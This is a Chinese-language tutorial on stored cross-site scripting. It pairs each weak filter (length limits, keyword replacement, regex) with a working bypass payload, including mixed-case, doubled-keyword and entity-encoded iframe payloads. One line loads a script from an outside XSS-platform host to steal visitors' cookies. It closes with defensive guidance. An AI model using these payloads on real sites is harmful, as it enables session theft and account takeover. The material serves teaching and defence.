存储型XSS的攻防:不想做开发的黑客不是好黑客
字数 1254 2025-08-18 11:39:08

存储型XSS攻防详解

1. 存储型XSS概述

存储型XSS(Cross-Site Scripting)是通过向网页注入可执行代码且成功被浏览器执行达到攻击目的的一种漏洞。攻击者将恶意脚本永久存储在目标服务器上(如数据库),当其他用户访问包含该脚本的页面时,脚本会在用户浏览器中执行。

基本特征

  • 恶意脚本永久存储在服务器上
  • 影响所有访问包含该脚本页面的用户
  • 常见于留言板、评论系统、用户资料等可存储用户输入的页面

测试方法

通常使用简单的JavaScript代码测试是否存在漏洞:

<script>alert(1)</script>

弹框仅用于证明漏洞存在,实际攻击方式更为复杂。

2. 存储型XSS攻击示例

2.1 基础攻击

攻击者提交恶意留言:

<script>alert(1)</script>

当其他用户访问留言板时,脚本执行并弹框。

2.2 实际危害

更危险的攻击方式:

<script src=//xsspt.com/ZsgUBf></script>

此脚本会窃取访问者的cookie并发送到攻击者的XSS平台,攻击者可用这些cookie无需密码登录受害者账户。

3. 防御措施与绕过方法

3.1 前端长度限制

防御方法

<input type="text" name="nickname" placeholder="留言者昵称" maxlength="10">

限制输入长度,使<script>alert(1)</script>(17字符)无法完整输入。

绕过方法

  1. 使用浏览器开发者工具修改maxlength属性
  2. 通过抓包工具直接修改请求数据

3.2 关键字过滤

3.2.1 简单过滤

防御方法

$nickname = str_replace("script", "", $_POST['nickname']);

替换"script"为空字符串。

绕过方法:大小写混合

<sCrIPt>alert(1)</ScripT>

3.2.2 不区分大小写过滤

防御方法

$nickname = str_ireplace("script", "", $_POST['nickname']);

绕过方法:双写绕过

<Sscriptcript>alert(1)</Sscriptcript>

3.2.3 正则表达式过滤

防御方法

$nickname = preg_replace("/s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", $_POST['nickname']);

绕过方法:使用其他标签和事件


3.3 过滤alert关键字

防御方法

$nickname = preg_replace("/(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $nickname);

绕过方法:字符编码

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>a</a>

解码后相当于:

<a href=javascript:alert(1)>a</a>

自动执行版本:

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

3.4 HTML实体编码

防御方法

$nickname = htmlentities($_POST['nickname']);

将特殊字符转换为HTML实体,如:

  • <&lt;
  • >&gt;
  • &&amp;

效果
输入:

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

存储为:

&lt;iframe src=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;&gt;

无法被解析为可执行代码。

4. 最佳防御实践

  1. 输入验证

    • 对用户输入进行严格验证
    • 使用白名单而非黑名单策略
    • 限制输入长度和类型
  2. 输出编码

    • 使用htmlentities()htmlspecialchars()对所有动态输出进行编码
    • 根据输出上下文选择适当的编码方式(HTML、JavaScript、CSS、URL等)
  3. 内容安全策略(CSP)

    • 通过HTTP头Content-Security-Policy限制脚本执行
    • 只允许来自可信源的脚本执行
  4. HttpOnly Cookie

    • 设置cookie的HttpOnly属性,防止JavaScript访问
  5. 框架安全

    • 使用现代框架(如React、Vue等)内置的XSS防护机制
    • 避免直接使用innerHTML等危险API

5. 总结

存储型XSS防御要点:

  • 不要信任任何用户输入
  • 对所有输出进行适当的编码
  • 采用深度防御策略,多层防护
  • 保持安全意识,及时更新防护措施

攻击者会不断尝试新的绕过方法,防御措施也需要随之演进。理解XSS的原理和攻击方式,才能更有效地进行防护。

存储型XSS攻防详解 1. 存储型XSS概述 存储型XSS(Cross-Site Scripting)是通过向网页注入可执行代码且成功被浏览器执行达到攻击目的的一种漏洞。攻击者将恶意脚本永久存储在目标服务器上(如数据库),当其他用户访问包含该脚本的页面时,脚本会在用户浏览器中执行。 基本特征 恶意脚本永久存储在服务器上 影响所有访问包含该脚本页面的用户 常见于留言板、评论系统、用户资料等可存储用户输入的页面 测试方法 通常使用简单的JavaScript代码测试是否存在漏洞: 弹框仅用于证明漏洞存在,实际攻击方式更为复杂。 2. 存储型XSS攻击示例 2.1 基础攻击 攻击者提交恶意留言: 当其他用户访问留言板时,脚本执行并弹框。 2.2 实际危害 更危险的攻击方式: 此脚本会窃取访问者的cookie并发送到攻击者的XSS平台,攻击者可用这些cookie无需密码登录受害者账户。 3. 防御措施与绕过方法 3.1 前端长度限制 防御方法 : 限制输入长度,使 <script>alert(1)</script> (17字符)无法完整输入。 绕过方法 : 使用浏览器开发者工具修改maxlength属性 通过抓包工具直接修改请求数据 3.2 关键字过滤 3.2.1 简单过滤 防御方法 : 替换"script"为空字符串。 绕过方法 :大小写混合 3.2.2 不区分大小写过滤 防御方法 : 绕过方法 :双写绕过 3.2.3 正则表达式过滤 防御方法 : 绕过方法 :使用其他标签和事件 3.3 过滤alert关键字 防御方法 : 绕过方法 :字符编码 解码后相当于: 自动执行版本: 3.4 HTML实体编码 防御方法 : 将特殊字符转换为HTML实体,如: < → &lt; > → &gt; & → &amp; 效果 : 输入: 存储为: 无法被解析为可执行代码。 4. 最佳防御实践 输入验证 : 对用户输入进行严格验证 使用白名单而非黑名单策略 限制输入长度和类型 输出编码 : 使用 htmlentities() 或 htmlspecialchars() 对所有动态输出进行编码 根据输出上下文选择适当的编码方式(HTML、JavaScript、CSS、URL等) 内容安全策略(CSP) : 通过HTTP头 Content-Security-Policy 限制脚本执行 只允许来自可信源的脚本执行 HttpOnly Cookie : 设置cookie的HttpOnly属性,防止JavaScript访问 框架安全 : 使用现代框架(如React、Vue等)内置的XSS防护机制 避免直接使用 innerHTML 等危险API 5. 总结 存储型XSS防御要点: 不要信任任何用户输入 对所有输出进行适当的编码 采用深度防御策略,多层防护 保持安全意识,及时更新防护措施 攻击者会不断尝试新的绕过方法,防御措施也需要随之演进。理解XSS的原理和攻击方式,才能更有效地进行防护。